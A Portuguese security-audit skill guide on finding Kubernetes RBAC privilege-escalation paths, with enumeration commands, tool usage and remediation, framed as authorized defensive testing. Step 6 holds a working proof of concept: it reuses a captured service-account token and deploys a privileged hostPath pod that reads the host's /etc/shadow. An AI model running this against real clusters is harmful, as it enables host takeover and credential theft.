auditoria-de-escalonamento-de-privilegios-rbac-no-kubernetes

Auditoria de Escalonamento de Privilégios RBAC no Kubernetes

Aviso Legal: Esta skill é apenas para testes de segurança autorizados e fins educacionais. Enumerar e exercitar permissões RBAC afeta a postura de acesso de um cluster ativo. Teste apenas clusters que você possui ou para os quais está explicitamente autorizado por escrito.

Visão Geral

O Controle de Acesso Baseado em Funções (Role-Based Access Control, RBAC) do Kubernetes (MITRE ATT&CK T1078 - Contas Válidas) governa o que cada usuário e conta de serviço pode fazer por meio de regras Role/ClusterRole vinculadas por RoleBinding/ClusterRoleBinding. Como as cargas de trabalho são executadas com um token de conta de serviço montado por padrão, um invasor que comprometa um pod herda os direitos RBAC dessa conta. Ligações excessivamente permissivas transformam um único pod comprometido em uma tomada de controle do cluster: certos verbos e recursos são "equivalentes a cluster-admin no RBAC".

De acordo com as diretrizes "Boas Práticas de RBAC" do Kubernetes e pesquisas da Unit 42, as primitivas perigosas são:

• escalate em roles — concede a si mesmo qualquer permissão, mesmo aquelas que você não possui.
• bind em clusterroles — cria uma ligação para cluster-admin.
• impersonate em usuários/grupos/contas de serviço — age como qualquer assunto, incluindo system:masters.
• create/update/patch em pods — agenda um pod privilegiado ou monta o nó, escapando para o host (T1611).
• create em pods/exec, pods/attach, pods/ephemeralcontainers — executa código em qualquer pod existente.
• get/list/watch em secrets — listar retorna o conteúdo completo dos secrets, incluindo tokens de outras contas de serviço.
• create em serviceaccounts/token — cunha tokens para contas mais privilegiadas.
• update/patch em validatingwebhookconfigurations/mutatingwebhookconfigurations, nodes/proxy, certificatesigningrequests/approval — abuso de admissão/CSR para cluster-admin.
• Wildcards (verbs: ["*"], resources: ["*"]) — superprivilégio implícito.

Esta skill enumera sistematicamente as permissões efetivas para cada sujeito, mapeia quais sujeitos possuem essas primitivas de escalonamento e produz evidências de remediação. Fonte: Kubernetes RBAC Good Practices; Pesquisa Unit 42 sobre RBAC no Kubernetes.

Quando Usar

• Durante uma avaliação de segurança Kubernetes autorizada ou teste de penetração em cluster
• Após comprometer um pod, para determinar o que seu token de conta de serviço pode alcançar
• Ao revisar derivações de RBAC antes de uma implantação em produção
• Ao validar o menor privilégio após uma migração de plataforma ou rollout do Helm

Pré-requisitos

• kubectl configurado contra o cluster alvo (suas próprias credenciais ou um token de conta de serviço capturado)
• Acesso de leitura a objetos RBAC (a maioria das auditorias é executada com um contexto cluster-reader ou admin)
• Ferramentas de auditoria:

  # rbac-police - encontra caminhos de escalonamento (Cymulate)
  curl -L https://github.com/PaloAltoNetworks/rbac-police/releases/latest/download/rbac-police-linux-amd64 -o rbac-police
  chmod +x rbac-police
  
  # kubectl-who-can - quais sujeitos podem executar uma ação (Aqua)
  kubectl krew install who-can
  
  # rakkess - matriz de acesso de recursos x verbos para o sujeito atual/outro
  kubectl krew install access-matrix
  
  # rbac-lookup - quais funções um sujeito possui (FairwindsOps)
  kubectl krew install rbac-lookup
  

Objetivos

• Inventariar todos os objetos Role, ClusterRole, RoleBinding e ClusterRoleBinding
• Enumerar permissões efetivas por sujeito usando kubectl auth can-i --as
• Identificar sujeitos que possuem primitivas equivalentes a admin RBAC
• Rastrear pods que montam tokens para contas de serviço superprivilegiadas
• Demonstrar (em laboratório) um caminho de escalonamento completo
• Gerar um relatório de descobertas priorizadas com remediação de menor privilégio

Mapeamento MITRE ATT&CK

ID da Técnica	Nome	Tática
T1078	Contas Válidas	Evasão de Defesa / Persistência / Escalonamento de Privilégio
T1098	Manipulação de Conta	Persistência
T1528	Roubo de Token de Acesso de Aplicativo	Acesso a Credenciais
T1613	Descoberta de Contêiner e Recurso	Descoberta
T1611	Fuga para o Host	Escalonamento de Privilégio

Fluxo de Trabalho

Etapa 1: Inventariar Objetos RBAC

# Todas as funções e ligações, em todo o cluster
kubectl get clusterroles,clusterrolebindings -o wide
kubectl get roles,rolebindings --all-namespaces -o wide

# Despejar todo o RBAC para análise offline
kubectl get clusterroles,clusterrolebindings,roles,rolebindings \
  --all-namespaces -o yaml > rbac-dump.yaml

# Quem está vinculado ao cluster-admin?
kubectl get clusterrolebindings -o json | \
  jq -r '.items[] | select(.roleRef.name=="cluster-admin") |
         .metadata.name + " -> " + (.subjects // [] | map(.kind+"/"+.name) | join(","))'

Etapa 2: Enumerar Permissões Efetivas por Sujeito

kubectl auth can-i é a verificação autoritativa porque avalia o autorizador ativo (RBAC + webhooks). Use --as para personificar um sujeito (requer direitos de personificação para a identidade de auditoria).

# Matriz de acesso completa para uma conta de serviço
kubectl auth can-i --list \
  --as=system:serviceaccount:default:default

# Sondagens de permissões perigosas direcionadas
kubectl auth can-i create pods --all-namespaces \
  --as=system:serviceaccount:dev:builder
kubectl auth can-i get secrets --all-namespaces \
  --as=system:serviceaccount:dev:builder
kubectl auth can-i create serviceaccounts/token -n kube-system \
  --as=system:serviceaccount:dev:builder
kubectl auth can-i '*' '*' --all-namespaces \
  --as=system:serviceaccount:dev:builder

# Matriz completa de verbos x recursos do rakkess para um sujeito
kubectl access-matrix --as system:serviceaccount:dev:builder

Etapa 3: Caçar as Primitivas de Escalonamento

# Quem pode realizar cada ação perigosa em todo o cluster?
kubectl who-can create pods
kubectl who-can '*' '*'                      # detentores do modo deus wildcard
kubectl who-can get secrets
kubectl who-can list secrets
kubectl who-can create pods/exec
kubectl who-can impersonate users
kubectl who-can create serviceaccounts/token
kubectl who-can update clusterrolebindings   # escalonamento estilo bind

# grep no despejo bruto para verbos de escalar/ligar/personificar e wildcards
grep -nE 'escalate|impersonate|"\*"|- bind' rbac-dump.yaml

Etapa 4: Executar Análise Automatizada de Caminhos de Escalonamento com rbac-police

rbac-police avalia políticas Rego sobre um snapshot do cluster para identificar princípios que podem escalar para cluster-admin e o caminho exato.

# Executar todas as verificações de escalonamento embutidas (requer um kubeconfig com acesso de leitura)
./rbac-police eval ./lib/policies/

# Apenas a política de escalonamento de privilégio, descobertas severas como JSON
./rbac-police eval ./lib/policies/can_escalate.rego -f json -o findings.json

# Coletar um snapshot primeiro (análise offline / revisão em ambiente isolado)
./rbac-police collect -o cluster-snapshot.json
./rbac-police eval ./lib/policies/ --collect-results cluster-snapshot.json

Etapa 5: Rastrear Pods para Contas de Serviço Superprivilegiadas

Uma descoberta só importa se uma carga de trabalho alcançável montar esse token.

# Mapear cada pod para sua conta de serviço
kubectl get pods --all-namespaces \
  -o custom-columns='NS:.metadata.namespace,POD:.metadata.name,SA:.metadata.spec.serviceAccountName'

# Encontrar pods que montam tokens automaticamente (o padrão) vinculados a SAs de risco
kubectl get pods --all-namespaces -o json | jq -r '
  .items[] | select(.spec.automountServiceAccountToken != false) |
  "\(.metadata.namespace)/\(.metadata.name) -> \(.spec.serviceAccountName // "default")"'

# rbac-lookup: o que essa conta de serviço realmente possui?
kubectl rbac-lookup builder --kind serviceaccount

Etapa 6: Demonstrar um Caminho de Escalonamento (Apenas em Laboratório)

Exemplo: uma conta de serviço com create pods e acesso a um nó pode agendar um pod privilegiado que monta o sistema de arquivos do host.

# Usando um token capturado, direcionar o servidor da API diretamente
export TOKEN=$(cat /var/run/secrets/kubernetes.io/serviceaccount/token)
export APISERVER=https://kubernetes.default.svc

# Confirmar o direito perigoso
kubectl --token="$TOKEN" --server="$APISERVER" --insecure-skip-tls-verify \
  auth can-i create pods

# Agendar um pod privilegiado que monta o host (prova de tomada de nó/host)
cat <<'EOF' | kubectl --token="$TOKEN" --server="$APISERVER" \
  --insecure-skip-tls-verify apply -f -
apiVersion: v1
kind: Pod
metadata: {name: escalate-poc, namespace: default}
spec:
  containers:
  - name: x
    image: alpine
    command: ["/bin/sh","-c","cat /host/etc/shadow; sleep 1d"]
    securityContext: {privileged: true}
    volumeMounts: [{name: host, mountPath: /host}]
  volumes: [{name: host, hostPath: {path: /}}]
EOF
kubectl logs escalate-poc   # /etc/shadow do host prova o escalonamento

Etapa 7: Relatar e Remediar

# Gerar um resumo de violação do menor privilégio
kubectl get clusterrolebindings -o json | jq -r '
  .items[] | select(.roleRef.name=="cluster-admin") |
  "DESCOBERTA cluster-admin vinculado a: " +
  ((.subjects // []) | map(.kind+":"+.name) | join(", "))'

Remediação: substitua wildcards por verbos/recursos explícitos; remova escalate/bind/impersonate a menos que necessário; defina automountServiceAccountToken: false em cargas de trabalho que não chamam a API; prefira Role (com namespace) em vez de ClusterRole quando possível; use aggregationRule com cuidado.

Ferramentas e Recursos

Ferramenta	Propósito	Fonte
kubectl auth can-i	Verificação de permissão ao vivo autoritativa (--list, --as)	https://kubernetes.io/docs/reference/access-authn-authz/authorization/
rbac-police	Análise de caminho de escalonamento baseada em Rego	https://github.com/PaloAltoNetworks/rbac-police
kubectl-who-can	Pesquisa reversa: quem pode fazer X	https://github.com/aquasecurity/kubectl-who-can
rakkess (access-matrix)	Matriz de verbos x recursos por sujeito	https://github.com/corneliusweig/rakkess
rbac-lookup	Funções que um sujeito possui	https://github.com/FairwindsOps/rbac-lookup
Boas Práticas de RBAC do Kubernetes	Lista autoritativa de primitivas de escalonamento	https://kubernetes.io/docs/concepts/security/rbac-good-practices/

Referência de Primitivas de RBAC Perigosas

Verbo / Recurso	Por que é Equivalente a Cluster-Admin
escalate em roles	Concede a si mesmo qualquer permissão
bind em clusterroles	Vincula a si mesmo a cluster-admin
impersonate em usuários/grupos	Age como system:masters
create pods (+ acesso a nó)	Pod privilegiado/hostPath -> tomada de host
create pods/exec,pods/attach	Executa código em pods existentes
get/list de secrets	Lê todos os tokens e credenciais
create serviceaccounts/token	Cunha tokens privilegiados
*/* (wildcards)	Superprivilégio implícito

Critérios de Validação

• Todos os objetos Role/ClusterRole/Binding inventariados e despejados
• Lista de sujeitos cluster-admin enumerada
• Permissões efetivas enumeradas por conta de serviço via auth can-i --list
• Todos os detentores de primitivas perigosas identificados (escalar/vincular/personificar/secrets/pods)
• Caminhos de escalonamento do rbac-police revisados
• Pods que montam tokens mapeados para contas de serviço de risco
• Pelo menos um caminho de escalonamento demonstrado em laboratório
• Relatório de descobertas com remediação de menor privilégio produzido
• Todos os testes permaneceram dentro do escopo autorizado